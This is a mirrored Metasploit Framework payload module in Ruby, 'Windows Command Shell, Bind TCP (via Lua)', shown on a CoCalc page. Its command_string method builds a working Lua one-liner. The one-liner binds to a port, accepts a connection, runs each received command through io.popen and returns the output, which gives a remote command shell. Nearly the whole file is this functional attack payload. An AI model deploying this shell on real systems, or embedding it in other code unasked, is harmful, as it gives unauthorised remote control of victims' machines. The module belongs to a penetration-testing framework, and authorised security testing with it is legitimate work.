CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/windows/bind_lua.rb
Views: 11779
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 218
10
11
include Msf::Payload::Single
12
include Msf::Sessions::CommandShellOptions
13
14
def initialize(info = {})
15
super(merge_info(info,
16
'Name' => 'Windows Command Shell, Bind TCP (via Lua)',
17
'Description' => 'Listen for a connection and spawn a command shell via Lua',
18
'Author' =>
19
[
20
'xistence <xistence[at]0x90.nl>',
21
],
22
'License' => MSF_LICENSE,
23
'Platform' => 'win',
24
'Arch' => ARCH_CMD,
25
'Handler' => Msf::Handler::BindTcp,
26
'Session' => Msf::Sessions::CommandShell,
27
'PayloadType' => 'cmd',
28
'RequiredCmd' => 'lua',
29
'Payload' =>
30
{
31
'Offsets' => { },
32
'Payload' => ''
33
}
34
))
35
register_advanced_options(
36
[
37
OptString.new('LuaPath', [true, 'The path to the Lua executable', 'lua'])
38
]
39
)
40
end
41
42
#
43
# Constructs the payload
44
#
45
def generate(_opts = {})
46
return super + command_string
47
end
48
49
#
50
# Returns the command string to use for execution
51
#
52
def command_string
53
"#{datastore['LuaPath']} -e \"local s=require('socket');local s=assert(s.bind('*',#{datastore['LPORT']}));local c=s:accept();while true do local r,x=c:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));c:send(b);end;c:close();f:close();\""
54
end
55
end
56
57
58